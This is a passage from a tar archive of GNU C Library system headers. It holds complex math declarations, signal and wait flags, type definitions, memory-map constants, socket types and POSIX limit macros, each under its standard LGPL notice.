Hyperbolic arc cosine of Z. */ __MATHCALL (cacosh, (_Mdouble_complex_ __z)); /* Hyperbolic arc sine of Z. */ __MATHCALL (casinh, (_Mdouble_complex_ __z)); /* Hyperbolic arc tangent of Z. */ __MATHCALL (catanh, (_Mdouble_complex_ __z)); /* Hyperbolic cosine of Z. */ __MATHCALL (ccosh, (_Mdouble_complex_ __z)); /* Hyperbolic sine of Z. */ __MATHCALL (csinh, (_Mdouble_complex_ __z)); /* Hyperbolic tangent of Z. */ __MATHCALL (ctanh, (_Mdouble_complex_ __z)); /* Exponential and logarithmic functions. */ /* Exponential function of Z. */ __MATHCALL (cexp, (_Mdouble_complex_ __z)); /* Natural logarithm of Z. */ __MATHCALL (clog, (_Mdouble_complex_ __z)); #ifdef __USE_GNU /* The base 10 logarithm is not defined by the standard but to implement the standard C++ library it is handy. */ __MATHCALL (clog10, (_Mdouble_complex_ __z)); #endif /* Power functions. */ /* Return X to the Y power. */ __MATHCALL (cpow, (_Mdouble_complex_ __x, _Mdouble_complex_ __y)); /* Return the square root of Z. */ __MATHCALL (csqrt, (_Mdouble_complex_ __z)); /* Absolute value, conjugates, and projection. */ /* Absolute value of Z. */ __MATHDECL (_Mdouble_,cabs, (_Mdouble_complex_ __z)); /* Argument value of Z. */ __MATHDECL (_Mdouble_,carg, (_Mdouble_complex_ __z)); /* Complex conjugate of Z. */ __MATHCALL (conj, (_Mdouble_complex_ __z)); /* Projection of Z onto the Riemann sphere. */ __MATHCALL (cproj, (_Mdouble_complex_ __z)); /* Decomposing complex values. */ /* Imaginary part of Z. */ __MATHDECL (_Mdouble_,cimag, (_Mdouble_complex_ __z)); /* Real part of Z. */ __MATHDECL (_Mdouble_,creal, (_Mdouble_complex_ __z)); bits/sigthread.h 0000644 00000003233 15246445046 0007643 0 ustar 00 /* Signal handling function for threaded programs. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; see the file COPYING.LIB. If not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SIGTHREAD_H #define _BITS_SIGTHREAD_H 1 #if !defined _SIGNAL_H && !defined _PTHREAD_H # error "Never include this file directly. Use <signal.h> instead" #endif /* Functions for handling signals. */ #include <bits/types/__sigset_t.h> /* Modify the signal mask for the calling thread. The arguments have the same meaning as for sigprocmask(2). */ extern int pthread_sigmask (int __how, const __sigset_t *__restrict __newmask, __sigset_t *__restrict __oldmask)__THROW; /* Send signal SIGNO to the given thread. */ extern int pthread_kill (pthread_t __threadid, int __signo) __THROW; #ifdef __USE_GNU /* Queue signal and data to a thread. */ extern int pthread_sigqueue (pthread_t __threadid, int __signo, const union sigval __value) __THROW; #endif #endif /* bits/sigthread.h */ bits/waitflags.h 0000644 00000003240 15246445046 0007650 0 ustar 00 /* Definitions of flag bits for `waitpid' et al. Copyright (C) 1992-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #if !defined _SYS_WAIT_H && !defined _STDLIB_H # error "Never include <bits/waitflags.h> directly; use <sys/wait.h> instead." #endif /* Bits in the third argument to `waitpid'. */ #define WNOHANG 1 /* Don't block waiting. */ #define WUNTRACED 2 /* Report status of stopped children. */ /* Bits in the fourth argument to `waitid'. */ #if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 # define WSTOPPED 2 /* Report stopped child (same as WUNTRACED). */ # define WEXITED 4 /* Report dead child. */ # define WCONTINUED 8 /* Report continued child. */ # define WNOWAIT 0x01000000 /* Don't reap, just poll status. */ #endif #define __WNOTHREAD 0x20000000 /* Don't wait on children of other threads in this group */ #define __WALL 0x40000000 /* Wait for any child. */ #define __WCLONE 0x80000000 /* Wait for cloned process. */ bits/sysctl.h 0000644 00000001602 15246445046 0007210 0 ustar 00 /* Copyright (C) 2012-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #if defined __x86_64__ && defined __ILP32__ # error "sysctl system call is unsupported in x32 kernel" #endif bits/flt-eval-method.h 0000644 00000002276 15246445046 0010667 0 ustar 00 /* Define __GLIBC_FLT_EVAL_METHOD. x86 version. Copyright (C) 2016-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MATH_H # error "Never use <bits/flt-eval-method.h> directly; include <math.h> instead." #endif #ifdef __FLT_EVAL_METHOD__ # if __FLT_EVAL_METHOD__ == -1 # define __GLIBC_FLT_EVAL_METHOD 2 # else # define __GLIBC_FLT_EVAL_METHOD __FLT_EVAL_METHOD__ # endif #elif defined __x86_64__ # define __GLIBC_FLT_EVAL_METHOD 0 #else # define __GLIBC_FLT_EVAL_METHOD 2 #endif bits/types.h 0000644 00000020217 15246445046 0007036 0 ustar 00 /* bits/types.h -- definitions of __*_t types underlying *_t types. Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * Never include this file directly; use <sys/types.h> instead. */ #ifndef _BITS_TYPES_H #define _BITS_TYPES_H 1 #include <features.h> #include <bits/wordsize.h> /* Convenience types. */ typedef unsigned char __u_char; typedef unsigned short int __u_short; typedef unsigned int __u_int; typedef unsigned long int __u_long; /* Fixed-size types, underlying types depend on word size and compiler. */ typedef signed char __int8_t; typedef unsigned char __uint8_t; typedef signed short int __int16_t; typedef unsigned short int __uint16_t; typedef signed int __int32_t; typedef unsigned int __uint32_t; #if __WORDSIZE == 64 typedef signed long int __int64_t; typedef unsigned long int __uint64_t; #else __extension__ typedef signed long long int __int64_t; __extension__ typedef unsigned long long int __uint64_t; #endif /* Smallest types with at least a given width. */ typedef __int8_t __int_least8_t; typedef __uint8_t __uint_least8_t; typedef __int16_t __int_least16_t; typedef __uint16_t __uint_least16_t; typedef __int32_t __int_least32_t; typedef __uint32_t __uint_least32_t; typedef __int64_t __int_least64_t; typedef __uint64_t __uint_least64_t; /* quad_t is also 64 bits. */ #if __WORDSIZE == 64 typedef long int __quad_t; typedef unsigned long int __u_quad_t; #else __extension__ typedef long long int __quad_t; __extension__ typedef unsigned long long int __u_quad_t; #endif /* Largest integral types. */ #if __WORDSIZE == 64 typedef long int __intmax_t; typedef unsigned long int __uintmax_t; #else __extension__ typedef long long int __intmax_t; __extension__ typedef unsigned long long int __uintmax_t; #endif /* The machine-dependent file <bits/typesizes.h> defines __*_T_TYPE macros for each of the OS types we define below. The definitions of those macros must use the following macros for underlying types. We define __S<SIZE>_TYPE and __U<SIZE>_TYPE for the signed and unsigned variants of each of the following integer types on this machine. 16 -- "natural" 16-bit type (always short) 32 -- "natural" 32-bit type (always int) 64 -- "natural" 64-bit type (long or long long) LONG32 -- 32-bit type, traditionally long QUAD -- 64-bit type, traditionally long long WORD -- natural type of __WORDSIZE bits (int or long) LONGWORD -- type of __WORDSIZE bits, traditionally long We distinguish WORD/LONGWORD, 32/LONG32, and 64/QUAD so that the conventional uses of `long' or `long long' type modifiers match the types we define, even when a less-adorned type would be the same size. This matters for (somewhat) portably writing printf/scanf formats for these types, where using the appropriate l or ll format modifiers can make the typedefs and the formats match up across all GNU platforms. If we used `long' when it's 64 bits where `long long' is expected, then the compiler would warn about the formats not matching the argument types, and the programmer changing them to shut up the compiler would break the program's portability. Here we assume what is presently the case in all the GCC configurations we support: long long is always 64 bits, long is always word/address size, and int is always 32 bits. */ #define __S16_TYPE short int #define __U16_TYPE unsigned short int #define __S32_TYPE int #define __U32_TYPE unsigned int #define __SLONGWORD_TYPE long int #define __ULONGWORD_TYPE unsigned long int #if __WORDSIZE == 32 # define __SQUAD_TYPE __int64_t # define __UQUAD_TYPE __uint64_t # define __SWORD_TYPE int # define __UWORD_TYPE unsigned int # define __SLONG32_TYPE long int # define __ULONG32_TYPE unsigned long int # define __S64_TYPE __int64_t # define __U64_TYPE __uint64_t /* We want __extension__ before typedef's that use nonstandard base types such as `long long' in C89 mode. */ # define __STD_TYPE __extension__ typedef #elif __WORDSIZE == 64 # define __SQUAD_TYPE long int # define __UQUAD_TYPE unsigned long int # define __SWORD_TYPE long int # define __UWORD_TYPE unsigned long int # define __SLONG32_TYPE int # define __ULONG32_TYPE unsigned int # define __S64_TYPE long int # define __U64_TYPE unsigned long int /* No need to mark the typedef with __extension__. */ # define __STD_TYPE typedef #else # error #endif #include <bits/typesizes.h> /* Defines __*_T_TYPE macros. */ __STD_TYPE __DEV_T_TYPE __dev_t; /* Type of device numbers. */ __STD_TYPE __UID_T_TYPE __uid_t; /* Type of user identifications. */ __STD_TYPE __GID_T_TYPE __gid_t; /* Type of group identifications. */ __STD_TYPE __INO_T_TYPE __ino_t; /* Type of file serial numbers. */ __STD_TYPE __INO64_T_TYPE __ino64_t; /* Type of file serial numbers (LFS).*/ __STD_TYPE __MODE_T_TYPE __mode_t; /* Type of file attribute bitmasks. */ __STD_TYPE __NLINK_T_TYPE __nlink_t; /* Type of file link counts. */ __STD_TYPE __OFF_T_TYPE __off_t; /* Type of file sizes and offsets. */ __STD_TYPE __OFF64_T_TYPE __off64_t; /* Type of file sizes and offsets (LFS). */ __STD_TYPE __PID_T_TYPE __pid_t; /* Type of process identifications. */ __STD_TYPE __FSID_T_TYPE __fsid_t; /* Type of file system IDs. */ __STD_TYPE __CLOCK_T_TYPE __clock_t; /* Type of CPU usage counts. */ __STD_TYPE __RLIM_T_TYPE __rlim_t; /* Type for resource measurement. */ __STD_TYPE __RLIM64_T_TYPE __rlim64_t; /* Type for resource measurement (LFS). */ __STD_TYPE __ID_T_TYPE __id_t; /* General type for IDs. */ __STD_TYPE __TIME_T_TYPE __time_t; /* Seconds since the Epoch. */ __STD_TYPE __USECONDS_T_TYPE __useconds_t; /* Count of microseconds. */ __STD_TYPE __SUSECONDS_T_TYPE __suseconds_t; /* Signed count of microseconds. */ __STD_TYPE __DADDR_T_TYPE __daddr_t; /* The type of a disk address. */ __STD_TYPE __KEY_T_TYPE __key_t; /* Type of an IPC key. */ /* Clock ID used in clock and timer functions. */ __STD_TYPE __CLOCKID_T_TYPE __clockid_t; /* Timer ID returned by `timer_create'. */ __STD_TYPE __TIMER_T_TYPE __timer_t; /* Type to represent block size. */ __STD_TYPE __BLKSIZE_T_TYPE __blksize_t; /* Types from the Large File Support interface. */ /* Type to count number of disk blocks. */ __STD_TYPE __BLKCNT_T_TYPE __blkcnt_t; __STD_TYPE __BLKCNT64_T_TYPE __blkcnt64_t; /* Type to count file system blocks. */ __STD_TYPE __FSBLKCNT_T_TYPE __fsblkcnt_t; __STD_TYPE __FSBLKCNT64_T_TYPE __fsblkcnt64_t; /* Type to count file system nodes. */ __STD_TYPE __FSFILCNT_T_TYPE __fsfilcnt_t; __STD_TYPE __FSFILCNT64_T_TYPE __fsfilcnt64_t; /* Type of miscellaneous file system fields. */ __STD_TYPE __FSWORD_T_TYPE __fsword_t; __STD_TYPE __SSIZE_T_TYPE __ssize_t; /* Type of a byte count, or error. */ /* Signed long type used in system calls. */ __STD_TYPE __SYSCALL_SLONG_TYPE __syscall_slong_t; /* Unsigned long type used in system calls. */ __STD_TYPE __SYSCALL_ULONG_TYPE __syscall_ulong_t; /* These few don't really vary by system, they always correspond to one of the other defined types. */ typedef __off64_t __loff_t; /* Type of file sizes and offsets (LFS). */ typedef char *__caddr_t; /* Duplicates info from stdint.h but this is used in unistd.h. */ __STD_TYPE __SWORD_TYPE __intptr_t; /* Duplicate info from sys/socket.h. */ __STD_TYPE __U32_TYPE __socklen_t; /* C99: An integer type that can be accessed as an atomic entity, even in the presence of asynchronous interrupts. It is not currently necessary for this to be machine-specific. */ typedef int __sig_atomic_t; #undef __STD_TYPE #endif /* bits/types.h */ bits/mman-linux.h 0000644 00000011437 15246445046 0007763 0 ustar 00 /* Definitions for POSIX memory map interface. Linux generic version. Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_MMAN_H # error "Never use <bits/mman-linux.h> directly; include <sys/mman.h> instead." #endif /* The following definitions basically come from the kernel headers. But the kernel header is not namespace clean. */ /* Protections are chosen from these bits, OR'd together. The implementation does not necessarily support PROT_EXEC or PROT_WRITE without PROT_READ. The only guarantees are that no writing will be allowed without PROT_WRITE and no access will be allowed for PROT_NONE. */ #define PROT_READ 0x1 /* Page can be read. */ #define PROT_WRITE 0x2 /* Page can be written. */ #define PROT_EXEC 0x4 /* Page can be executed. */ #define PROT_NONE 0x0 /* Page can not be accessed. */ #define PROT_GROWSDOWN 0x01000000 /* Extend change to start of growsdown vma (mprotect only). */ #define PROT_GROWSUP 0x02000000 /* Extend change to start of growsup vma (mprotect only). */ /* Sharing types (must choose one and only one of these). */ #define MAP_SHARED 0x01 /* Share changes. */ #define MAP_PRIVATE 0x02 /* Changes are private. */ #ifdef __USE_MISC # define MAP_SHARED_VALIDATE 0x03 /* Share changes and validate extension flags. */ # define MAP_TYPE 0x0f /* Mask for type of mapping. */ #endif /* Other flags. */ #define MAP_FIXED 0x10 /* Interpret addr exactly. */ #ifdef __USE_MISC # define MAP_FILE 0 # ifdef __MAP_ANONYMOUS # define MAP_ANONYMOUS __MAP_ANONYMOUS /* Don't use a file. */ # else # define MAP_ANONYMOUS 0x20 /* Don't use a file. */ # endif # define MAP_ANON MAP_ANONYMOUS /* When MAP_HUGETLB is set bits [26:31] encode the log2 of the huge page size. */ # define MAP_HUGE_SHIFT 26 # define MAP_HUGE_MASK 0x3f #endif /* Flags to `msync'. */ #define MS_ASYNC 1 /* Sync memory asynchronously. */ #define MS_SYNC 4 /* Synchronous memory sync. */ #define MS_INVALIDATE 2 /* Invalidate the caches. */ /* Flags for `mremap'. */ #ifdef __USE_GNU # define MREMAP_MAYMOVE 1 # define MREMAP_FIXED 2 #endif /* Advice to `madvise'. */ #ifdef __USE_MISC # define MADV_NORMAL 0 /* No further special treatment. */ # define MADV_RANDOM 1 /* Expect random page references. */ # define MADV_SEQUENTIAL 2 /* Expect sequential page references. */ # define MADV_WILLNEED 3 /* Will need these pages. */ # define MADV_DONTNEED 4 /* Don't need these pages. */ # define MADV_FREE 8 /* Free pages only if memory pressure. */ # define MADV_REMOVE 9 /* Remove these pages and resources. */ # define MADV_DONTFORK 10 /* Do not inherit across fork. */ # define MADV_DOFORK 11 /* Do inherit across fork. */ # define MADV_MERGEABLE 12 /* KSM may merge identical pages. */ # define MADV_UNMERGEABLE 13 /* KSM may not merge identical pages. */ # define MADV_HUGEPAGE 14 /* Worth backing with hugepages. */ # define MADV_NOHUGEPAGE 15 /* Not worth backing with hugepages. */ # define MADV_DONTDUMP 16 /* Explicity exclude from the core dump, overrides the coredump filter bits. */ # define MADV_DODUMP 17 /* Clear the MADV_DONTDUMP flag. */ # define MADV_WIPEONFORK 18 /* Zero memory on fork, child only. */ # define MADV_KEEPONFORK 19 /* Undo MADV_WIPEONFORK. */ # define MADV_HWPOISON 100 /* Poison a page for testing. */ #endif /* The POSIX people had to invent similar names for the same things. */ #ifdef __USE_XOPEN2K # define POSIX_MADV_NORMAL 0 /* No further special treatment. */ # define POSIX_MADV_RANDOM 1 /* Expect random page references. */ # define POSIX_MADV_SEQUENTIAL 2 /* Expect sequential page references. */ # define POSIX_MADV_WILLNEED 3 /* Will need these pages. */ # define POSIX_MADV_DONTNEED 4 /* Don't need these pages. */ #endif /* Flags for `mlockall'. */ #ifndef MCL_CURRENT # define MCL_CURRENT 1 /* Lock all currently mapped pages. */ # define MCL_FUTURE 2 /* Lock all additions to address space. */ # define MCL_ONFAULT 4 /* Lock all pages that are faulted in. */ #endif #include <bits/mman-shared.h> bits/ss_flags.h 0000644 00000002243 15246445046 0007472 0 ustar 00 /* ss_flags values for stack_t. Linux version. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SS_FLAGS_H #define _BITS_SS_FLAGS_H 1 #if !defined _SIGNAL_H && !defined _SYS_UCONTEXT_H # error "Never include this file directly. Use <signal.h> instead" #endif /* Possible values for `ss_flags'. */ enum { SS_ONSTACK = 1, #define SS_ONSTACK SS_ONSTACK SS_DISABLE #define SS_DISABLE SS_DISABLE }; #endif /* bits/ss_flags.h */ bits/socket_type.h 0000644 00000004247 15246445046 0010230 0 ustar 00 /* Define enum __socket_type for generic Linux. Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SOCKET_H # error "Never include <bits/socket_type.h> directly; use <sys/socket.h> instead." #endif /* Types of sockets. */ enum __socket_type { SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams. */ #define SOCK_STREAM SOCK_STREAM SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams of fixed maximum length. */ #define SOCK_DGRAM SOCK_DGRAM SOCK_RAW = 3, /* Raw protocol interface. */ #define SOCK_RAW SOCK_RAW SOCK_RDM = 4, /* Reliably-delivered messages. */ #define SOCK_RDM SOCK_RDM SOCK_SEQPACKET = 5, /* Sequenced, reliable, connection-based, datagrams of fixed maximum length. */ #define SOCK_SEQPACKET SOCK_SEQPACKET SOCK_DCCP = 6, /* Datagram Congestion Control Protocol. */ #define SOCK_DCCP SOCK_DCCP SOCK_PACKET = 10, /* Linux specific way of getting packets at the dev level. For writing rarp and other similar things on the user level. */ #define SOCK_PACKET SOCK_PACKET /* Flags to be ORed into the type parameter of socket and socketpair and used for the flags parameter of paccept. */ SOCK_CLOEXEC = 02000000, /* Atomically set close-on-exec flag for the new descriptor(s). */ #define SOCK_CLOEXEC SOCK_CLOEXEC SOCK_NONBLOCK = 00004000 /* Atomically mark descriptor(s) as non-blocking. */ #define SOCK_NONBLOCK SOCK_NONBLOCK }; bits/uio_lim.h 0000644 00000002550 15246445046 0007327 0 ustar 00 /* Implementation limits related to sys/uio.h - Linux version. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_UIO_LIM_H #define _BITS_UIO_LIM_H 1 /* Maximum length of the 'struct iovec' array in a single call to readv or writev. This macro has different values in different kernel versions. The latest versions of the kernel use 1024 and this is good choice. Since the C library implementation of readv/writev is able to emulate the functionality even if the currently running kernel does not support this large value the readv/writev call will not fail because of this. */ #define __IOV_MAX 1024 #endif bits/xopen_lim.h 0000644 00000007421 15246445046 0007666 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * Never include this file directly; use <limits.h> instead. */ /* Additional definitions from X/Open Portability Guide, Issue 4, Version 2 System Interfaces and Headers, 4.16 <limits.h> Please note only the values which are not greater than the minimum stated in the standard document are listed. The `sysconf' functions should be used to obtain the actual value. */ #ifndef _XOPEN_LIM_H #define _XOPEN_LIM_H 1 /* We do not provide fixed values for ARG_MAX Maximum length of argument to the `exec' function including environment data. ATEXIT_MAX Maximum number of functions that may be registered with `atexit'. CHILD_MAX Maximum number of simultaneous processes per real user ID. OPEN_MAX Maximum number of files that one process can have open at anyone time. PAGESIZE PAGE_SIZE Size of bytes of a page. PASS_MAX Maximum number of significant bytes in a password. We only provide a fixed limit for IOV_MAX Maximum number of `iovec' structures that one process has available for use with `readv' or writev'. if this is indeed fixed by the underlying system. */ /* Maximum number of `iovec' structures that may be used in a single call to `readv', `writev', etc. */ #define _XOPEN_IOV_MAX _POSIX_UIO_MAXIOV #include <bits/uio_lim.h> #ifdef __IOV_MAX # define IOV_MAX __IOV_MAX #else # undef IOV_MAX #endif /* Maximum value of `digit' in calls to the `printf' and `scanf' functions. We have no limit, so return a reasonable value. */ #define NL_ARGMAX _POSIX_ARG_MAX /* Maximum number of bytes in a `LANG' name. We have no limit. */ #define NL_LANGMAX _POSIX2_LINE_MAX /* Maximum message number. We have no limit. */ #define NL_MSGMAX INT_MAX /* Maximum number of bytes in N-to-1 collation mapping. We have no limit. */ #if defined __USE_GNU || !defined __USE_XOPEN2K8 # define NL_NMAX INT_MAX #endif /* Maximum set number. We have no limit. */ #define NL_SETMAX INT_MAX /* Maximum number of bytes in a message. We have no limit. */ #define NL_TEXTMAX INT_MAX /* Default process priority. */ #define NZERO 20 /* Number of bits in a word of type `int'. */ #ifdef INT_MAX # if INT_MAX == 32767 # define WORD_BIT 16 # else # if INT_MAX == 2147483647 # define WORD_BIT 32 # else /* Safe assumption. */ # define WORD_BIT 64 # endif # endif #elif defined __INT_MAX__ # if __INT_MAX__ == 32767 # define WORD_BIT 16 # else # if __INT_MAX__ == 2147483647 # define WORD_BIT 32 # else /* Safe assumption. */ # define WORD_BIT 64 # endif # endif #else # define WORD_BIT 32 #endif /* Number of bits in a word of type `long int'. */ #ifdef LONG_MAX # if LONG_MAX == 2147483647 # define LONG_BIT 32 # else /* Safe assumption. */ # define LONG_BIT 64 # endif #elif defined __LONG_MAX__ # if __LONG_MAX__ == 2147483647 # define LONG_BIT 32 # else /* Safe assumption. */ # define LONG_BIT 64 # endif #else # include <bits/wordsize.h> # if __WORDSIZE == 64 # define LONG_BIT 64 # else # define LONG_BIT 32 # endif #endif #endif /* bits/xopen_lim.h */ bits/posix2_lim.h 0000644 00000005462 15246445046 0007764 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * Never include this file directly; include <limits.h> instead. */ #ifndef _BITS_POSIX2_LIM_H #define _BITS_POSIX2_LIM_H 1 /* The maximum `ibase' and `obase' values allowed by the `bc' utility. */ #define _POSIX2_BC_BASE_MAX 99 /* The maximum number of elements allowed in an array by the `bc' utility. */ #define _POSIX2_BC_DIM_MAX 2048 /* The maximum `scale' value allowed by the `bc' utility. */ #define _POSIX2_BC_SCALE_MAX 99 /* The maximum length of a string constant accepted by the `bc' utility. */ #define _POSIX2_BC_STRING_MAX 1000 /* The maximum number of weights that can be assigned to an entry of the LC_COLLATE `order' keyword in the locale definition file. */ #define _POSIX2_COLL_WEIGHTS_MAX 2 /* The maximum number of expressions that can be nested within parentheses by the `expr' utility. */ #define _POSIX2_EXPR_NEST_MAX 32 /* The maximum length, in bytes, of an input line. */ #define _POSIX2_LINE_MAX 2048 /* The maximum number of repeated occurrences of a regular expression permitted when using the interval notation `\{M,N\}'. */ #define _POSIX2_RE_DUP_MAX 255 /* The maximum number of bytes in a character class name. We have no fixed limit, 2048 is a high number. */ #define _POSIX2_CHARCLASS_NAME_MAX 14 /* These values are implementation-specific, and may vary within the implementation. Their precise values can be obtained from sysconf. */ #ifndef BC_BASE_MAX #define BC_BASE_MAX _POSIX2_BC_BASE_MAX #endif #ifndef BC_DIM_MAX #define BC_DIM_MAX _POSIX2_BC_DIM_MAX #endif #ifndef BC_SCALE_MAX #define BC_SCALE_MAX _POSIX2_BC_SCALE_MAX #endif #ifndef BC_STRING_MAX #define BC_STRING_MAX _POSIX2_BC_STRING_MAX #endif #ifndef COLL_WEIGHTS_MAX #define COLL_WEIGHTS_MAX 255 #endif #ifndef EXPR_NEST_MAX #define EXPR_NEST_MAX _POSIX2_EXPR_NEST_MAX #endif #ifndef LINE_MAX #define LINE_MAX _POSIX2_LINE_MAX #endif #ifndef CHARCLASS_NAME_MAX #define CHARCLASS_NAME_MAX 2048 #endif /* This value is defined like this in regex.h. */ #define RE_DUP_MAX (0x7fff) #endif /* bits/posix2_lim.h */ bits/libm-simd-decl-stubs.h 0000644 00000005673 15246445046 0011623 0 ustar 00 /* Empty definitions required for __MATHCALL_VEC unfolding in mathcalls.h. Copyright (C) 2014-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MATH_H # error "Never include <bits/libm-simd-decl-stubs.h> directly;\ include <math.h> instead." #endif /* Needed definitions could be generated with: for func in $(grep __MATHCALL_VEC math/bits/mathcalls.h |\ sed -r "s|__MATHCALL_VEC.?\(||; s|,.*||"); do echo "#define __DECL_SIMD_${func}"; echo "#define __DECL_SIMD_${func}f"; echo "#define __DECL_SIMD_${func}l"; done */ #ifndef _BITS_LIBM_SIMD_DECL_STUBS_H #define _BITS_LIBM_SIMD_DECL_STUBS_H 1 #define __DECL_SIMD_cos #define __DECL_SIMD_cosf #define __DECL_SIMD_cosl #define __DECL_SIMD_cosf16 #define __DECL_SIMD_cosf32 #define __DECL_SIMD_cosf64 #define __DECL_SIMD_cosf128 #define __DECL_SIMD_cosf32x #define __DECL_SIMD_cosf64x #define __DECL_SIMD_cosf128x #define __DECL_SIMD_sin #define __DECL_SIMD_sinf #define __DECL_SIMD_sinl #define __DECL_SIMD_sinf16 #define __DECL_SIMD_sinf32 #define __DECL_SIMD_sinf64 #define __DECL_SIMD_sinf128 #define __DECL_SIMD_sinf32x #define __DECL_SIMD_sinf64x #define __DECL_SIMD_sinf128x #define __DECL_SIMD_sincos #define 